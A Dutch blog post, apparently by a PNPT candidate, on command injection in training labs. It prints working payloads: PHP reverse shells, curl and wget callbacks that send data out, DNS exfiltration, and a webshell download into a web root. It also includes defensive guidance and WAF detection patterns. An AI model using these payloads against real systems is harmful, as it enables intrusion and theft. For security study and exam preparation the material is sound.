Command injection is één van die kwetsbaarheden die je nooit vergeet zodra je hem eenmaal hebt uitgebuit. Het is direct, krachtig en vaak dodelijk voor een target. Tijdens mijn PNPT-voorbereidingen heb ik drie verschillende scenario’s doorlopen die allemaal hun eigen valkuilen, syntaxproblemen en denkfouten hadden. Deze blogpost bundelt alles wat ik ervan leerde, zodat jij dezelfde kwetsbaarheden sneller herkent en effectiever kunt testen.
Wat command injection precies is
Bij command injection stuurt een applicatie gebruikersinput direct door naar een systeemcommand. Zodra die input onvoldoende wordt gevalideerd, kun je eigen commando’s meeliften. Het resultaat varieert van een simpele whoami tot volledige remote code execution en een stabiele reverse shell.
Command injection komt veel voor in onder andere:
- URL-fetchers
- Ping- en traceroute-functionaliteiten
- Bestandsuploads en bestandsoperaties
- Backend scripts die user input concatenaten naar een shell
Het belangrijkste om te onthouden is dat het bijna nooit om één laag gaat. Je injecteert vaak door meerdere lagen heen, zoals:
- PHP → Shell → AWK
- Python → Shell
- NodeJS → Child process
Daarom moet je altijd per laag begrijpen welke syntax daar geldt en welke comment-stijl wordt gebruikt.
1. Basic command injection (TCM 0x01)
Het eerste scenario draait om directe output. Je voert een payload in en ziet de output meteen in je browser. Simpel, maar perfect om het mechanisme te begrijpen.
Hoe detecteer je het?
Begin altijd met de eenvoudigste payloads om te testen of je überhaupt invloed hebt op het onderliggende command:
;whoami
;id
;ls -lah
Als de applicatie daarop output toont in de response, weet je genoeg: je zit in het systeem en hebt command execution via de webapplicatie.
Waarom basic detection belangrijk is
Met deze eerste tests leer je:
- hoe de applicatie input verwerkt
- hoe het commando waarschijnlijk wordt opgebouwd
- welke chaining operators werken (
;,&&,||) - welke filtering mogelijk actief is (bijvoorbeeld het strippen van bepaalde tekens)
Zonder deze basis krijg je later in complexe scenario’s veel lastiger zicht op wat er misgaat.
Reverse shells in een basic scenario
In de labs kwam ik erachter dat een bash reverse shell soms faalt, terwijl PHP bijna altijd goed werkt in webcontexten.
Tool discovery
Controleer eerst welke tools beschikbaar zijn op het target:
;which bash
;which python
;which python3
;which php
In mijn case bleek:
bashaanwezig, maar de reverse shell brak de webapplicatiepythonontbrakphpstond op/usr/local/bin/phpen werkte perfect
Werkende PHP reverse shell
;/usr/local/bin/php -r '$sock=fsockopen("192.168.x.x",4443);exec("/bin/sh -i <&3 >&3 2>&3");'
Start eerst je listener:
nc -nvlp 4443
Zodra de pagina blijft hangen en niet direct refreshed, is dat vaak een goed teken: de webserver “wacht” omdat jouw shell nu openstaat richting de listener.
Vanaf daar kun je de basics doen:
whoami
id
hostname
ls -lah
En vervolgens systematisch verder met post-exploitation.
2. Blind command injection (TCM 0x02)
Blind command injection is spannender, omdat je geen directe output terugziet in de browser. De applicatie voert je command wel uit, maar laat je de resultaten niet direct zien. Je hebt dan out-of-band technieken nodig om te bewijzen dat je code wordt uitgevoerd.
Filtering herkennen
In dit soort scenario’s kom je vaak filtering tegen, bijvoorbeeld dat ; wordt gestript of vervangen.
Je kunt dat testen door bewust “kapotte” payloads te sturen en te kijken hoe de applicatie reageert. Bijvoorbeeld:
https://voorbeeld.nl;whoami;test
Als de applicatie dat intern vertaalt naar iets zonder ;, of je input aangepast weer teruggeeft, weet je dat er filtering speelt.
Time-based en out-of-band technieken
Omdat je geen directe output ziet, moet je slim zijn.
Voorbeelden van technieken:
- time-based:
;sleep 5 #
$(sleep 5)
Als de response 5 seconden trager wordt, is dat een sterke indicatie van code execution.
- HTTP callbacks (bijvoorbeeld naar je eigen server of webhook):
;curl http://jouw-server:8080/$(whoami) #
;wget http://jouw-server:8080/ping
- DNS-exfil:
;nslookup $(whoami).jouwdomein.com #
Webshell upload via command injection
Een krachtige aanpak is om eerst een webshell te plaatsen en daarna via de browser een reverse shell te triggeren.
Stap 1. Maak een reverse webshell
Kopieer bijvoorbeeld een Laudanum PHP-shell:
cp /usr/share/webshells/laudanum/php/php-reverse-shell.php rev.php
Pas in rev.php je eigen IP en poort aan.
Stap 2. Start een lokale webserver
python3 -m http.server 8080
Stap 3. Injecteer een curl of wget naar jouw server
&& curl http://192.168.x.x:8080/rev.php > /var/www/html/rev.php
Of met wget als curl niet beschikbaar is:
&& wget -O /var/www/html/rev.php http://192.168.x.x:8080/rev.php
Stap 4. Start je listener
nc -nvlp 4444
Stap 5. Browse naar de webshell
Ga in de browser naar:
http://target/rev.php
Als alles goed staat, krijg je een reverse shell binnen op je listener.
Veelgemaakte fout
Een fout die ik zelf maakte: de webshell triggeren zonder dat de listener al draaide. Het resultaat:
Connection refused (111)
Een simpele, maar effectieve les: eerst je listener, dan pas je payload.
3. Advanced syntax escaping (TCM 0x03)
Hier wordt command injection echt interessant. In dit scenario gebruikte de applicatie awk om een afstand tussen coördinaten te berekenen. Jouw input werd direct in een awk-expressie geplaatst.
Je moest dus:
- de originele AWK-expressie netjes sluiten
- je eigen shell-commando injecteren
- de rest van de syntax uitschakelen met een comment
Dit vereist dat je begrijpt hoe de code precies wordt opgebouwd.
Origineel command
De applicatie voert zoiets uit als:
awk 'BEGIN {print sqrt(((-123)^2) + ((-789)^2))}'
Jouw input komt terecht in het tweede getal.
Werkende payload
Een werkende payload zag er bijvoorbeeld zo uit:
789)^))}';whoami;#
Wat gebeurt hier precies?
We breken dit op in delen. Stel dat de applicatie iets doet als:
awk 'BEGIN {print sqrt(((-123)^2) + ((-%s)^2))}' # %s is jouw input
Als je dan invult:
789)^))}';whoami;#
wordt het geheel:
awk 'BEGIN {print sqrt(((-123)^2) + ((-789)^))}';whoami;#)^2))}'
Laag voor laag:
789)^))}sluit de oorspronkelijkesqrt-expressie op een manier af waardoor AWK klaar is met zijn piece.- De
'sluit de AWK-string (dus deBEGIN { ... }-string) af. ;start een nieuw shell-commando.whoamiis jouw injected command.;sluit dat command af.#maakt alles daarna commentaar in Bash, zodat de rest van de originele syntax geen fouten meer geeft.
Het resultaat: AWK probeert iets te doen (mag zelfs falen), maar belangrijker is dat whoami wordt uitgevoerd in de shell.
Waarom // niet werkt als comment
De verwarring hier is logisch: de pagina is PHP, dus je denkt al snel aan // of /* */ als comment. Maar je injecteert in de shell, niet in PHP of JavaScript.
Belangrijke comment-syntaxis per context:
- Bash / sh:
# - PHP:
//of#of/* */ - JavaScript:
//of/* */ - SQL:
--(met spatie) of#(MySQL) - Python:
#
Als de applicatie jouw input in een shell-commando plakt, geldt dus de comment-regel van de shell, en dat is #.
PHP reverse shell via AWK injection
Je kunt dezelfde truc gebruiken om meteen een PHP reverse shell te draaien. Bijvoorbeeld:
789)^))}';php -r '$sock=fsockopen("192.168.x.x",4444);exec("/bin/sh -i <&3 >&3 2>&3");';#
Dit resulteert in iets als:
awk 'BEGIN {print sqrt(((-123)^2) + ((-789)^))}';php -r '$sock=fsockopen("192.168.x.x",4444);exec("/bin/sh -i <&3 >&3 2>&3");';#)^2))}'
AWK mag hier falen, dat boeit niet. Het belangrijke is dat de PHP one-liner door Bash wordt uitgevoerd en jouw netcat-listener een shell krijgt.
Defensieve maatregelen tegen command injection
Command injection los je niet op met een simpele blacklist. De enige serieuze mitigatie bestaat uit een combinatie van inputvalidatie, escaping en ontwerpkeuzes.
1. Whitelisting in plaats van blacklisting
Laat alleen strikt gedefinieerde, geldige waarden door. Voorbeeld: als een veld een IP-adres moet zijn, valideer dat dan ook als IP-adres en niets anders.
$host = $_POST['host'];
if (!filter_var($host, FILTER_VALIDATE_IP)) {
die("Ongeldige input");
}
2. escapeshellarg en escapeshellcmd
Gebruik altijd de juiste functies als je toch via de shell moet werken:
$host = escapeshellarg($_POST['host']);
exec("ping " . $host);
escapeshellarg() is bedoeld om een argument veilig te maken. escapeshellcmd() gaat over een hele command-string, maar is minder fijnmazig.
3. Vermijd system()-achtige functies waar mogelijk
In plaats van:
exec("mysql -u user -p password -e 'SELECT * FROM table'");
Gebruik je:
$pdo = new PDO($dsn, $user, $password);
$stmt = $pdo->prepare("SELECT * FROM table");
$stmt->execute();
Of voor OS-taken: gebruik directe libraries of API’s in plaats van alles via system(), exec(), shell_exec() of backticks te doen.
4. Sandboxing en hardening
- Draai je webapp in een container met minimale rechten.
- Gebruik non-root users in Docker.
- Overweeg AppArmor of SELinux-profielen.
- Beperk uitgaande verbindingen als de app geen internet nodig heeft.
5. WAF en detectiepatronen
Een Web Application Firewall kan veelvoorkomende patronen herkennen, zoals:
- het gebruik van
;,&,|,`,$( - bekende binaires als
wget,curl,nc,bash,python,perl,php - verdachte chaining en subshells
Dit is geen vervanging voor goede code, maar wel een extra verdedigingslaag.
PNPT-specifieke tips
Command injection komt regelmatig terug in PNPT-achtige labs en examenomgevingen. Een paar gerichte tips om daar mee om te gaan:
1. Test meerdere invoervelden
Kijk verder dan alleen formulieren:
- URL-parameters
- POST-body
- JSON-velden
- HTTP-headers (User-Agent, Referer, X-Forwarded-For)
- Cookies
- Bestandsnamen of paden
2. Gebruik time-based checks als je geen output ziet
;sleep 5 #
$(sleep 5)
;ping -c 5 127.0.0.1 #
Merk je dat de response significant vertraagd is, dan heb je waarschijnlijk code execution.
3. Check welke tools beschikbaar zijn
Zodra je denkt dat je code execution hebt, doe:
which php python python3 bash nc wget curl
Bepaal op basis daarvan je beste route naar een stabiele reverse shell.
4. Bouw payloads methodisch op
Hou een vast patroon aan:
- Bepaal de context (bijvoorbeeld single quotes, dubbele quotes, functie-aanroep).
- Sluit die context netjes (dus: het originele string-einde herstellen).
- Injecteer je eigen command met bijvoorbeeld
;of&&. - Comment de rest weg met
#als je in een shell terechtkomt.
5. Documenteer alles
Voor je eigen toolkit en voor je rapportage:
- sla payloads op in een cheatsheet
- maak screenshots van werkende exploit-stappen
- noteer welke context, filtering en syntax nodig waren
Tijdens een examen als de PNPT scheelt dit enorm in je eindrapport.
Conclusie
Command injection lijkt in eerste instantie simpel, zeker als je direct whoami in de output ziet. Maar zodra je in complexere syntactische omgevingen terechtkomt (bijvoorbeeld AWK in een shell via PHP), verandert het in echt puzzelwerk.
De kernpunten:
- Begrijp hoe het uiteindelijke command is opgebouwd.
- Weet in welke context je injecteert: shell, SQL, JavaScript, AWK, PHP.
- Sluit altijd eerst de originele syntax netjes af.
- Injecteer dan je eigen commando.
- Maak de rest onschadelijk met de juiste comment-syntax voor die laag.
Als je deze logica eenmaal in de vingers hebt, kun je command injection-kwetsbaarheden systematisch benaderen, in plaats van lukraak payloads te copy-pasten.
Voor PNPT-kandidaten is dit een skill die direct doorwerkt in je examenomgeving. Command injection kan je van een simpele webform naar een volledige systeemcompromis brengen. Mits je weet wat je doet, geduldig blijft testen en alles goed documenteert.
Happy hacking.